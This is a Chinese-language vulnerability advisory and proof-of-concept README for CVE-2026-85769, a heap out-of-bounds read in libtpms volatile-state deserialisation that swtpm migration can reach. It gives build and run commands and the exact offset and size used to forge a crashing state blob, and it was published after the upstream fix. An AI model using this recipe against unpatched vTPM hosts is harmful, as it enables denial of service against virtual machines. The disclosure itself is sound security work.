libtpms TPM 2.0 易失状态反序列化中的堆越界读取。
block_skip_read() 中无界可选块跳过操作会按攻击者控制的 16 位长度推进反序列化游标,并将有符号的剩余大小计数器驱动为负值。此后所有下游边界检查都会通过,因为它们将该有符号值转换为无符号值进行比较。通过 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) 传入伪造的、自带校验和的易失状态 blob,会产生堆越界读取并中止承载 libtpms 的进程——即 vTPM 部署中的 swtpm。
| CVE | CVE-2026-85769 |
| 组件 | src/tpm2/NVMarshal.c、src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191(整数下溢)+ CWE-195(有符号到无符号转换) |
| 受影响版本 | master f7f072b2、v0.10.2 03ff2481 及携带此代码的早期版本 |
| 修复版本 | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32"(PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5(Red Hat,中危) |
| 报告时间 | 2026-09-01,私下提交给维护者 |
block_skip_read() 通过推进解析游标来跳过可选的版本化块,但未将长度与剩余字节数进行比较:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size 是有符号的。一旦变为负值,每次标量读取前的防护检查就会失效:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
解析越过分配区域越远,*size 的负值就越大——而无符号视角下它看起来也越大。同一文件中 Array_Unmarshal 已采用正确形式,即进行有符号比较。
唯一的完整性门控是附加在 blob 末尾的无密钥 SHA-1(src/tpm2/Volatile.c),因此 PoC 在篡改后会重新计算该值。
通过 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) 以及上电恢复链 TPMLIB_MainInit → _TPM_Init → VolatileLoad 可达。
在 swtpm 部署中,相关路径是实时迁移——CMD_GET_STATEBLOB / CMD_SET_STATEBLOB,由 libvirt 驱动。目标主机解析源主机上产生的状态 blob。配置的 --migration-key 无法缓解此问题:该密钥在两台主机间共享,因此被攻陷的源主机持有该密钥并可以生成能正确解密的 blob。它防御的是中间第三方,而非恶意对端。
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 的大小经过精心设计,使游标落在 ASan 的 redzone 中而非野指针上:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
偏移 173 是 ORDERLY_DATA 的 skip_future_versions 尾部中的 has_block 字节。该偏移是通过在解析过程中对 block_skip_read() 插桩打印偏移量来定位的,而非逐字节计数——偏移会随状态格式变化,因此如果你的 blob 长度不同于 8778,请重新推导该值。
请注意,skip_self_heal_timer 不是可用的尾部:TpmBuildSwitches.h 中的 ACCUMULATE_SELF_HEAL_TIMER YES 意味着它以 needs_block = TRUE 发出并走安全分支。
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
故障出现在 UINT16_Unmarshal 中,而非 block_skip_read——跳过操作推进游标后不读取即返回。越界落在下一个结构体读取上。
针对已修复的提交,所有攻击用例均返回 TPM_RC_INSUFFICIENT (0x9a) 且无 ASan 报告,有效 blob 仍能以 rc=0 恢复。
承载 libtpms 的进程拒绝服务,以及未定义行为。
信息泄露已测试并排除。在非 ASan 构建上,小幅越界每次都会返回 TPM_RC_BAD_TAG (0x1e):
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
越界后紧接着读取的是一个 NV_HEADER,其 32 位魔数必须匹配固定常量。相邻堆满足该条件的概率约为 p ≈ 2⁻³²。解析中止,ClearAllCachedState() 丢弃所有内容,且没有越界字节到达 TPMLIB_GetState。因此机密性为 C:N。Red Hat 的审查独立得出了相同结论。
Isuka Sanuj — CyberCrew Inc.(株式会社CyberCrew)
由 Leyao(中科院计算所)独立报告,在同一 CVE 上署名。
此 PoC 在问题于上游修复且 CVE 分配之后发布。它针对开源库的本地构建,仅触发解析过程,不做其他操作。请只测试你被授权测试的内容。
MIT
| 日期 |
|---|
| 2026-09-01 | 私下报告给 libtpms 维护者 |
| 2026-09-04 | 同一根本原因由 Leyao(中科院计算所)作为 libtpms issue #614 公开且独立报告 |
| 2026-09-04 | 上游在 9e1475ff(PR #613)中修复;修复已针对此 PoC 验证 |
| 2026-09-04 | 报告给 Red Hat Product Security |
| 2026-09-04 | 分配 CVE-2026-85769 |